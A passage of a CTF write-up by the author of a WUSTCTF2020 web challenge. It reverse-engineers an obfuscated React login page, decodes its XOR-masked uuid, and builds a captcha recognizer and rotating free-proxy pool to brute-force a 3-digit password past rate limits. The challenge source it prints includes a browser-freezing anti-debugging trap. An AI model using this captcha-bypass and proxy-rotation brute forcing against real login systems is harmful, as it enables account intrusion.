WUSTCTF2020 web题 --- 大人, 时代变了

文章目录

  • 0x0 前言
  • 0x1 前端审计
      • 抓包
      • 逻辑分析
      • 解密算法
  • 0x2 验证码识别
      • 分析
      • 验证码处理
      • 特征提取
  • 0x3 代理池
  • 0x4 全部代码
      • 主体
      • 特征点
  • 0x5 题目源码
      • 前端
        • App.tsx
        • Drawer.tsx
      • 后端
        • views.py
        • utils.py
        • models.py

0x0 前言

出这个题的本意是看到CTF的web题老是PHP什么的, 感觉和现实情况有点脱节, 且对前端审计没有太大的要求, 于是出了这个"现代"一点的题. 这个题目模拟的是爬虫, 在多次请求后将会出现验证码, 再频繁访问将会封锁ip, 且网站是使用React写的, 经过webpack的打包和混淆使得js很难读, 不过这也是大势所趋, 出出来涨涨见识吧.

0x1 前端审计

首先打开网站, hint提示用户识别码只有3位
WUSTCTF2020 web题 --- 大人, 时代变了_第1张图片

抓包

F12进行抓包, 发现有uuidimg两个字段, img毫无疑问是验证码了, uuid确是一个base64, 尝试解码, 无法得到数据
WUSTCTF2020 web题 --- 大人, 时代变了_第2张图片
尝试构造随意数据发送, 再在F12里查看, 发现请求中uuid为f56d359611c24abf9aa1d9f0113091a4, 说明前端对此数据进行了解密, 首先对前端代码进行审计, 查找加密算法
WUSTCTF2020 web题 --- 大人, 时代变了_第3张图片

逻辑分析

打开前端代码后, 我相信不少人肯定是蒙的, 首先先进行格式化, 其大概画风是这样的
WUSTCTF2020 web题 --- 大人, 时代变了_第4张图片
让我们一步一步来, 首先看点击登录后发生了什么, 搜索关键词登录, 可以找到这里
WUSTCTF2020 web题 --- 大人, 时代变了_第5张图片
可以看见登录按钮绑定了一个函数this.w, 进入this.w看干什么了

WUSTCTF2020 web题 --- 大人, 时代变了_第6张图片分析: 这里的switch其实是一个async函数, 通过babel进行转义的结果, 建议学习ES6, 7, 8, 勉强可以进行分析

  1. 进入case0, 将state.l = true, 然后调用a.__.q(state.w, state.c, state.p)
  2. 进入case4, alert(t.msg) 可以发现这里就是弹出服务器错误提示的地方
  3. 进入case9, t0 = _.catch(0), alert(t0), 这里是处理错误的地方
  4. 进入case12, 调用a.u(), 然后state.l = false

进入a.__.q(e, t, a), 应该有三个参数, 分析逻辑
WUSTCTF2020 web题 --- 大人, 时代变了_第7张图片
一眼看到熟悉的200, 说明这里应该就是发送数据的地方, 查看参数
在这里插入图片描述
在这里我们发现大量w({Base64})的东西, 通过定位发现w为Base64解码, 吧base64拿去解码, 发现为发送数据的隐藏, 比如uuid, code. 这种方式很常见, 为了防止直接搜索直接对数据进行base64储存
在这里插入图片描述
查看参数, 这么一长串为
Object(F_Web_Project_fucking_test_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_6__.a)(l, w("bWV0aG9k"), w("UE9TVA=="))
前面那么一长串其实是命名空间, 经过化简后可以得到
{method: "POST"}, 发现为fetch的用法, 但是在这里并没有发现加密, 说明加密不在发送数据的时候

再次观察请求, 发现在进行一次POST后, 立马获取了一个新的uuid, 说明在登录后应该调用了获取新的uuid的函数, 经过上面分析async, 进入a.u()

WUSTCTF2020 web题 --- 大人, 时代变了_第8张图片

解密算法

又是一个类似的函数, 这里我们可以直接聚焦到可疑函数a.setState({g: e.img, p: a.__.p(e[t("dXVpZA==")])}), 可以看到验证码被保存了, 而dXVpZA==就是uuid, 说明uuid经过了a.__p() e() t() 的处理, 一个个跟踪

  1. 首先发现t为Base64解码函数, 现在为a.__.p(e['uuid'])
  2. 可以知道e为返回数据, 那么解码就在a.__.p()
  3. 进入p, 首先对uuid进行Base64.toUnit8Array, 然后与___进行遍历
    WUSTCTF2020 web题 --- 大人, 时代变了_第9张图片
  4. 寻找___, 发现为___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]) 可以拼出内容
    WUSTCTF2020 web题 --- 大人, 时代变了_第10张图片
  5. 追踪__, 发现为xor
    在这里插入图片描述
  6. 那么整个算法就清晰了, 使用python进行模拟
def parse_uuid(raw):
    input_raw = list(base64.b64decode(raw))
    key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 
           69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
    for i in range(len(input_raw)):
        for j in range(len(key)):
            input_raw[i] ^= key[j]
    return bytes(input_raw).decode()

0x2 验证码识别

验证码识别有多种办法, 包括接入打码平台, 使用ocr开源项目, 这里验证码十分规整, 我可以手写一个验证码识别

分析

首先分析验证码结构, 数字8721分别距离左边5, 20, 35, 50, 字母大小为12*18

多次刷新, 采集多个验证码, 我这里采集了5个集齐了所有数字
在这里插入图片描述

验证码处理

首先将验证码分隔成4个独立的小数字, 使用Python的PIL模块

for i in range(4):
    offset = i * 15 + 5
    data = img.crop((offset, 3, offset + 12, 20))

然后对整个图片灰度化处理data = data.convert("L")
然后简单对图片黑白化, 由于背景是白色的, 这里认为凡是不是白色即为有数据

w, h = data.size
pixdata = data.load()
for y in range(h):
    for x in range(w):
        print(pixdata[x, y])
        if pixdata[x, y] < 255:
            pixdata[x, y] = 0

最后保存图片, 总体代码

import uuid
from PIL import Image

for index in range(6):
    img = Image.open(f"image/index{index}.png")
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        for y in range(h):
            for x in range(w):
                print(pixdata[x, y])
                if pixdata[x, y] < 255:
                    pixdata[x, y] = 0
        data.save(f"num/{str(uuid.uuid4()).replace('-', '')}.png")

WUSTCTF2020 web题 --- 大人, 时代变了_第11张图片

特征提取

将图片进行重命名, 挑出1-9, 并且重命名, 对数据进行采集
WUSTCTF2020 web题 --- 大人, 时代变了_第12张图片

from PIL import Image
import json

data = {}
for i in range(10):
    img = Image.open(f"./num/{i}.png")
    pixdata = img.load()
    w, h = img.size
    d = []
    for x in range(w):
        for y in range(h):
            d.append(pixdata[x, y])
    data[i] = d

with open(f"./num/data.json", 'w') as f:
    f.write(json.dumps(data))

最终获取json数据一份
WUSTCTF2020 web题 --- 大人, 时代变了_第13张图片
至于识别, 只需要对图片进行相似的分割, 然后灰度化, 黑白化, 然后与每个数字特征进行对比, 算出相似度, 然后取相似度最高的数字即可

from PIL import Image
import json


def find_str(num_list):
    with open("num/data.json", 'r') as f:
        nums = json.loads(f.read())
    sim_data = []
    for num, num_data in nums.items():
        sim = 0
        for ii, jj in zip(num_list, num_data):
            if ii == jj:
                sim += 1
        sim_data.append(sim)
    return str(sim_data.index(max(sim_data)))


def load_img(img):
    s = ""
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        img_data = []
        for x in range(w):
            for y in range(h):
                img_data.append(0 if pixdata[x, y] < 255 else 255)
        s += find_str(img_data)
    return s


print(load_img(Image.open("image/index1.png")))

在这里插入图片描述
还是很准的

0x3 代理池

在发送数据的时候发现, 在请求超过50次后永远将404, 这就是ip被ban了, 这里就需要上代理池了
网上有大量免费代理, 采集一下

class ProxyPool:
    def __init__(self):
        self.pool = [
            "223.241.7.181:3000",
            "222.189.190.254:9999",
            "223.242.224.147:9999",
            "36.248.129.32:9999",
            "27.43.189.11:9999",
            "103.140.204.1:8080",
            "36.249.53.38:8000"
        ]

    def get_proxy(self):
        return {
            'http': 'http://' + self.pool[0]
        }

    def del_ip(self):
        del self.pool[0]

连接失败的时候的时候更换ip

pool = ProxyPool()
for i in range(100, 999):
    try:
        print(i, foo(i, pool.get_proxy()))
    except:
        pool.del_ip()

0x4 全部代码

WUSTCTF2020 web题 --- 大人, 时代变了_第14张图片

主体

import requests
import base64
from PIL import Image
from io import BytesIO
import json

url = "http://47.107.251.41/api/"


class ProxyPool:
    def __init__(self):
        self.pool = [
            "127.0.0.1:4780",
            "223.241.7.181:3000",
            "222.189.190.254:9999",
            "223.242.224.147:9999",
            "36.248.129.32:9999",
            "27.43.189.11:9999",
            "103.140.204.1:8080",
            "36.249.53.38:8000"
        ]

    def get_proxy(self):
        return {
            'http': 'http://' + self.pool[0]
        }

    def del_ip(self):
        del self.pool[0]


def find_str(num_list):
    with open("num_data.json", 'r') as f:
        nums = json.loads(f.read())
    sim_data = []
    for num, num_data in nums.items():
        sim = 0
        for ii, jj in zip(num_list, num_data):
            if ii == jj:
                sim += 1
        sim_data.append(sim)
    return str(sim_data.index(max(sim_data)))


def load_img(img):
    s = ""
    for i in range(4):
        offset = i * 15 + 5
        data = img.crop((offset, 3, offset + 12, 20))
        data = data.convert("L")
        w, h = data.size
        pixdata = data.load()
        img_data = []
        for x in range(w):
            for y in range(h):
                img_data.append(0 if pixdata[x, y] < 255 else 255)
        s += find_str(img_data)
    return s


def foo(password, proxy):
    data = requests.get(url=url).json()
    code = ""
    uuid = parse_uuid(data["uuid"])
    image = data["img"]
    if len(image) > 0:
        bytes_io = BytesIO(base64.b64decode(image[len("data:image/png;base64,"):]))
        img = Image.open(bytes_io)
        code = load_img(img)

    data = requests.post(url=url, data={"uuid": uuid, "code": code, "password": password}, proxies=proxy, timeout=10)
    if data.status_code == 404:
        raise Exception("404")
    return data.json()["result"], data.json()["msg"]


def parse_uuid(raw):
    input_raw = list(base64.b64decode(raw))
    key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69,
           69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
    for i in range(len(input_raw)):
        for j in range(len(key)):
            input_raw[i] ^= key[j]
    return bytes(input_raw).decode()


pool = ProxyPool()
for i in range(100, 999):
    try:
        print(i, foo(i, pool.get_proxy()))
    except:
        pool.del_ip()

特征点

{"0": [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], "1": [255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "2": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255], "3": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "4": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255], "5": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255], "6": [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255], "7": [0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "8": [255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "9": [255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255]}

0x5 题目源码

前端

App.tsx

import React from 'react';
import Drawer, {drawerWidth} from "./Drawer";
import {
    Button,
    Card,
    createStyles, LinearProgress, Link,
    List,
    ListItem,
    TextField,
    Theme,
    withStyles
} from "@material-ui/core";

import {Base64} from "js-base64";

const t = Base64.fromBase64;
const w = Base64.fromBase64
const _ = fetch;
const __ = (x: number, y: number) => x ^ y
const ___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
const url = w("aHR0cDovLzQ3LjEwNy4yNTEuNDEvYXBpLw==")


const useStyles = (theme: Theme) => createStyles({
    main: {
        flexGrow: 1,
        padding: theme.spacing(3),
        [theme.breakpoints.up('sm')]: {
            marginLeft: drawerWidth
        },
        height: "100%"
    },
    toolbar: theme.mixins.toolbar,
    paper: {
        display: "table",
        margin: "0 auto",
        width: 300,
        height: 300,
        marginTop: 160,
    },
    input: {
        width: 280,
    },
    input2: {
        width: 280 - 63,
    },
    center: {
        textAlign: "center"
    },
    p: {
        width: "100%",
        textAlign: "center",
        fontSize: "20px",
        margin: "0 auto"
    },
    btn: {
        margin: "0 0 0 auto"
    },
    hidden: {
        visibility: "hidden"
    }
})

interface State {
    p: string,
    c: string,
    w: string,
    g: string,
    l: boolean
}


class App extends React.Component<any, State> {
    private __: { p(b: string): string; q(p: string, c: string, y: string): Promise<any>; y(): Promise<any> };
    constructor(props: any) {
        super(props);
        this.__ = {
            async y() {
                return _(url)
                    .then(res => res.json())
            },
            async q(p: string, c: string, y: string) {
                return _(url, {
                    [w("bWV0aG9k")]: w("UE9TVA=="),
                    [w("bW9kZQ==")]: w("Y29ycw=="),
                    [w("aGVhZGVycw==")]: {
                        [w("Q29udGVudC1UeXBl")]: w("YXBwbGljYXRpb24vanNvbg==")
                    },
                    [w("Ym9keQ==")]: JSON.stringify({
                        [w("dXVpZA==")]: y,
                        [w("Y29kZQ==")]: c,
                        [w("cGFzc3dvcmQ=")]: p
                    })
                }).then(res => {
                    if (res.status !== 200) {
                        throw new Error(res.status.toString())
                    }
                    return res
                }).then(res => res.json())
            },

            p(b: string): string {
                const input = Base64.toUint8Array(b);
                input.forEach((_, i) => {
                    ___.forEach((_, j) => {
                        input[i] = __(input[i], ___[j])
                    })
                })
                return Array.from(input).map(value => String.fromCharCode(value)).join("")
            }
        }
    }
    readonly state: Readonly<State> = {
        p: "",
        c: "",
        w: "",
        g: "",
        l: false
    }

    componentDidMount() {
        this.u()
        setInterval(() => {
            const time1 = new Date().getTime()
            debugger;
            const time2 = new Date().getTime() - time1
            if (time2 > 100) {
                eval(`const wait = async () => {
                    wait()
                    let total = "";
                    for (let i = 0; i < 1e9; i++) {
                        total = total + i.toString();
                        history.pushState(0, "", total);
                    }
                }
                wait()`)
                Array.from({
                    [Symbol.iterator]: () => ({
                        next: () => ({value: Math.random()})
                    })
                })
            }
        }, 1000)
    }


    u = () => {
        (async () => {
            const data = await this.__.y();
            this.setState({
                g: data["img"],
                p: this.__.p(data[t("dXVpZA==")])
            })
        })()
    }

    w = () => {
        (async () => {
            try {
                this.setState({l: true})
                const {msg} = await this.__.q(this.state.w, this.state.c, this.state.p)
                alert(msg)
            } catch (e) {
                alert(e)
            }
            this.u()
            this.setState({l: false})
        })()

    }

    g = () => {
        alert("密码只有3位数字哦!")
    }

    e = (event: any) => {
        this.setState({w: event.target.value})
    }

    i = (event: any) => {
        this.setState({c: event.target.value})
    }

    render() {
        const {classes} = this.props
        return (
            <div>
                <Drawer/>
                <main className={classes.main}>
                    <div className={classes.toolbar}/>
                    <Card className={classes.paper}>
                        <List>
                            <ListItem>
                                <p className={classes.p}>登录</p>
                            </ListItem>
                            <ListItem>
                                <TextField className={classes.input} label="用户识别码" type="password" onChange={this.e}/>
                            </ListItem>
                            <ListItem className={this.state.g.length === 0? classes.hidden: ""}>
                                <TextField className={classes.input2} label="验证码" onChange={this.i}/>
                                <img width={63} height={24} src={this.state.g}/>
                            </ListItem>
                            <ListItem>
                                <Link onClick={this.g}>
                                    忘记了你的用户识别码?
                                </Link>
                            </ListItem>
                            <ListItem>
                                <p style={{color: "#909399"}}>0202年了, 是时候了解下最新的前端技术了</p>
                            </ListItem>
                            <ListItem>
                                <Button className={classes.btn} variant="contained" color="primary" onClick={this.w}>
                                    登录
                                </Button>
                            </ListItem>
                        </List>
                        {this.state.l && <LinearProgress />}
                    </Card>
                </main>
            </div>

        );
    }
}
export default withStyles(useStyles)(App)

Drawer.tsx

import React from "react";
import {
    AppBar,
    createStyles, CssBaseline,
    Drawer, Hidden, IconButton,
    List,
    ListItem,
    ListItemIcon,
    ListItemText, ListSubheader,
    Theme, Toolbar, Typography,
    withStyles
} from "@material-ui/core";

import MenuIcon from '@material-ui/icons/Menu';
import LiveHelpIcon from '@material-ui/icons/LiveHelp';
import ListAltIcon from '@material-ui/icons/ListAlt';
import GavelIcon from '@material-ui/icons/Gavel';
import HelpIcon from '@material-ui/icons/Help';
import EqualizerIcon from '@material-ui/icons/Equalizer';
import HomeIcon from '@material-ui/icons/Home';

export const drawerWidth = 200;

const drawerStyle = (theme: Theme) =>
        createStyles({
            root: {
                display: 'flex',
            },
            drawer: {
                [theme.breakpoints.up('sm')]: {
                    width: drawerWidth,
                    flexShrink: 0,
                },
            },
            menuButton: {
                marginRight: theme.spacing(2),
            },
            toolbar: theme.mixins.toolbar,
            drawerPaper: {
                marginTop: 64,
                width: drawerWidth,
            },
            content: {
                flexGrow: 1,
                padding: theme.spacing(3),
            },
        })

interface State {
    mobileOpen: boolean
}

class DrawerNav extends React.Component<any, State> {
    readonly state: Readonly<State> = {
        mobileOpen: false
    }

    handleDrawerToggle = () => {
        this.setState({mobileOpen: !this.state.mobileOpen})
    };

    render() {
        const {classes} = this.props;
        const drawer = (
            <div>
                <List
                    subheader={
                        <ListSubheader component="div" id="nested-list-subheader">
                            Online Judge
                        </ListSubheader>
                    }>
                    <ListItem button>
                        <ListItemIcon><HomeIcon/></ListItemIcon>
                        <ListItemText primary="Home" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><LiveHelpIcon/></ListItemIcon>
                        <ListItemText primary="Problems" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><ListAltIcon/></ListItemIcon>
                        <ListItemText primary="Contests" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><GavelIcon/></ListItemIcon>
                        <ListItemText primary="States" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><EqualizerIcon/></ListItemIcon>
                        <ListItemText primary="Rank" />
                    </ListItem>
                    <ListItem button>
                        <ListItemIcon><HelpIcon/></ListItemIcon>
                        <ListItemText primary="Help" />
                    </ListItem>
                </List>
            </div>
        );
        return (
            <div className={classes.root}>
                <CssBaseline />
                <AppBar position="fixed">
                    <Toolbar>
                        <Hidden smUp>
                            <IconButton
                                color="inherit"
                                aria-label="open drawer"
                                edge="start"
                                onClick={this.handleDrawerToggle}
                                className={classes.menuButton}
                            >
                                <MenuIcon />
                            </IconButton>
                        </Hidden>

                        <Hidden xsDown>
                            <IconButton
                                color="inherit"
                                aria-label="open drawer"
                                edge="start"
                                className={classes.menuButton}
                            >
                                <MenuIcon />
                            </IconButton>
                        </Hidden>

                        <Typography variant="h6" noWrap>
                            武科大ACM俱乐部
                        </Typography>
                    </Toolbar>
                </AppBar>
                <nav className={classes.drawer} aria-label="mailbox folders">
                    <Hidden smUp implementation="css">
                        <Drawer
                            variant="temporary"
                            open={this.state.mobileOpen}
                            onClose={this.handleDrawerToggle}
